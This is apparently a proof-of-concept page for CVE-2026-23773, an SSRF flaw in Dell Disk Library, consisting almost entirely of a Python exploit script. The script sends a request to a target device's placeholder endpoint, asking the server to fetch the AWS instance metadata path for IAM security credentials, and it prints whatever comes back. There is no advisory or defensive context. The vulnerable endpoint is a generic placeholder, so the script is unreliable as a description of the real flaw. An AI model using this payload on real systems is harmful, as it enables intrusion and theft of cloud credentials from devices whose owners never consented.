CVE-2026-23773 Dell Disk Library SSRF漏洞

import requests # Target URL of the vulnerable Dell Disk Library interface # Replace 'target-ip' with the actual IP address of the target device target_url = "http://target-ip/api/vulnerable_endpoint" # Malicious internal URL to access (Example: AWS metadata or internal admin panel) # Attacker aims to force the server to request this internal resource malicious_payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: # Send the malicious request with low privilege credentials response = requests.post(target_url, data=malicious_payload, timeout=10) # Check if the server responded with data from the internal request if response.status_code == 200: print("[+] Exploit successful! Server response:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}")